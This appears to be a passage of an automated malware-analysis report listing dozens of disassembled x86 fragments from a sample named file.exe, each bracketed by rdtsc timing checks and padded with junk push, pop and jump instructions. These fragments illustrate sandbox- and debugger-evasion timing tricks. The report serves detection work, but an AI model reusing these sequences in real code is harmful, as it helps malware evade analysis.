Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D313B4 second address: D313C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3153D second address: D31549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2D44C41DD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31549 second address: D3154E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37424 second address: D37428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37428 second address: D37432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37432 second address: D37436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4462C second address: D4463C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37DBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4448F second address: D444A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F2D44C41DD6h 0x0000000c jnc 00007F2D44C41DD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D444A1 second address: D444AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49766 second address: D4976C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4976C second address: D4977B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37DAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4977B second address: D49781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49781 second address: D49785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49785 second address: D4978B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D499AE second address: D499B8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49AFF second address: D49B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49C71 second address: D49C9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F2D44BC37DAh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CDF4 second address: D4CDFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2D44C41DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CDFE second address: D4CE0F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2D44BC37DBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CE0F second address: D4CE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CE15 second address: D4CE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CE19 second address: D4CE1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FA39 second address: D4FA5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E5h 0x00000007 push edx 0x00000008 jnp 00007F2D44BC37D6h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C673F2 second address: C67407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDBh 0x00000007 ja 00007F2D44C41DD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67407 second address: C67411 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67411 second address: C67415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F608 second address: D4F60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F60C second address: D4F61C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F61C second address: D4F637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 je 00007F2D44BC37E2h 0x0000000f jnp 00007F2D44BC37D6h 0x00000015 jl 00007F2D44BC37D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F637 second address: D4F63D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F63D second address: D4F641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B8C4 second address: D6B8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B8C8 second address: D6B8CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B8CE second address: D6B8E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F2D44C41DD8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FD71 second address: D7FD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80247 second address: D8026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDAh 0x00000007 jng 00007F2D44C41DD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F2D44C41DDCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803E0 second address: D803E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803E4 second address: D803E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803E8 second address: D803EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803EE second address: D803F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803F4 second address: D803FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803FA second address: D803FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803FE second address: D80404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83C88 second address: D83C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8524A second address: D85250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D880DC second address: D880E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D880E3 second address: D88103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88103 second address: D8811F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2D44C41DDCh 0x00000008 jnc 00007F2D44C41DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007F2D44C41DDCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8811F second address: D88123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88123 second address: D88129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88129 second address: D8812D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D898FC second address: D89902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89902 second address: D89906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8948F second address: D894B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE7h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D894B0 second address: D894C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540026D second address: 5400273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400273 second address: 5400277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400277 second address: 54002C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F2D44C41DE5h 0x00000012 sbb al, FFFFFFA6h 0x00000015 jmp 00007F2D44C41DE1h 0x0000001a popfd 0x0000001b mov si, D3D7h 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 mov eax, 1E6066CFh 0x00000028 mov di, cx 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push edx 0x00000031 pop eax 0x00000032 movsx edx, ax 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54002C9 second address: 54002CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54002CF second address: 54002D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400322 second address: 54003AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2D44BC37DFh 0x00000009 add ax, ABFEh 0x0000000e jmp 00007F2D44BC37E9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F2D44BC37E0h 0x0000001a sub cl, FFFFFFF8h 0x0000001d jmp 00007F2D44BC37DBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F2D44BC37E4h 0x0000002f add ch, 00000058h 0x00000032 jmp 00007F2D44BC37DBh 0x00000037 popfd 0x00000038 movzx eax, bx 0x0000003b popad 0x0000003c pop ebp 0x0000003d pushad 0x0000003e mov si, di 0x00000041 push edi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD016 second address: CAD01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD01A second address: CAD027 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54003BE second address: 54003C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54003C2 second address: 54003C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54003C8 second address: 5400415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2D44C41DDEh 0x0000000f push eax 0x00000010 jmp 00007F2D44C41DDBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2D44C41DE0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400415 second address: 5400419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400419 second address: 540041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540041F second address: 5400439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400439 second address: 540043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540043D second address: 540045A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540045A second address: 540047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 96FEh 0x00000011 mov al, bl 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540047A second address: 5400480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400480 second address: 5400484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540049A second address: 54004AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54004AA second address: 54004F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2D44C41DE1h 0x00000009 jmp 00007F2D44C41DDBh 0x0000000e popfd 0x0000000f call 00007F2D44C41DE8h 0x00000014 pop esi 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 call 00007F2D44C41DD9h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov esi, ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54004F5 second address: 5400511 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ah, 60h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f mov ebx, esi 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push ecx 0x0000001a pop ebx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400511 second address: 5400565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c mov edi, ecx 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 mov esi, edi 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c popad 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov eax, 7B94A5C1h 0x00000026 pushfd 0x00000027 jmp 00007F2D44C41DDEh 0x0000002c or al, FFFFFFD8h 0x0000002f jmp 00007F2D44C41DDBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400565 second address: 54005AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F2DB50E7259h 0x0000000f push 759227D0h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov eax, dword ptr [esp+10h] 0x0000001f mov dword ptr [esp+10h], ebp 0x00000023 lea ebp, dword ptr [esp+10h] 0x00000027 sub esp, eax 0x00000029 push ebx 0x0000002a push esi 0x0000002b push edi 0x0000002c mov eax, dword ptr [759B0140h] 0x00000031 xor dword ptr [ebp-04h], eax 0x00000034 xor eax, ebp 0x00000036 push eax 0x00000037 mov dword ptr [ebp-18h], esp 0x0000003a push dword ptr [ebp-08h] 0x0000003d mov eax, dword ptr [ebp-04h] 0x00000040 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000047 mov dword ptr [ebp-08h], eax 0x0000004a lea eax, dword ptr [ebp-10h] 0x0000004d mov dword ptr fs:[00000000h], eax 0x00000053 ret 0x00000054 pushad 0x00000055 mov di, 5C9Eh 0x00000059 movsx edi, si 0x0000005c popad 0x0000005d and dword ptr [ebp-04h], 00000000h 0x00000061 jmp 00007F2D44BC37DEh 0x00000066 mov edx, dword ptr [ebp+0Ch] 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F2D44BC37E7h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400670 second address: 5400676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400676 second address: 540067A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540067A second address: 54006D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edx, esi 0x0000000d jmp 00007F2D44C41DDFh 0x00000012 mov edi, dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F2D44C41DDBh 0x0000001e or ch, 0000004Eh 0x00000021 jmp 00007F2D44C41DE9h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54006D8 second address: 54006E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 movzx eax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b dec edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54006E9 second address: 54006F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54006F0 second address: 5400744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F2D44BC37DCh 0x00000013 add esi, 62157658h 0x00000019 jmp 00007F2D44BC37DBh 0x0000001e popfd 0x0000001f movzx eax, bx 0x00000022 popad 0x00000023 mov al, byte ptr [edi+01h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F2D44BC37DDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400744 second address: 540074A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540074A second address: 54007D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 jmp 00007F2D44BC37E0h 0x0000000e test al, al 0x00000010 jmp 00007F2D44BC37E0h 0x00000015 jne 00007F2DB50DBAE0h 0x0000001b jmp 00007F2D44BC37E0h 0x00000020 mov ecx, edx 0x00000022 jmp 00007F2D44BC37E0h 0x00000027 shr ecx, 02h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov eax, ebx 0x0000002f pushfd 0x00000030 jmp 00007F2D44BC37E9h 0x00000035 and cl, FFFFFFC6h 0x00000038 jmp 00007F2D44BC37E1h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007D5 second address: 54007DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007DB second address: 54007DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007DF second address: 54007F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dx, ax 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007F2 second address: 54007F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
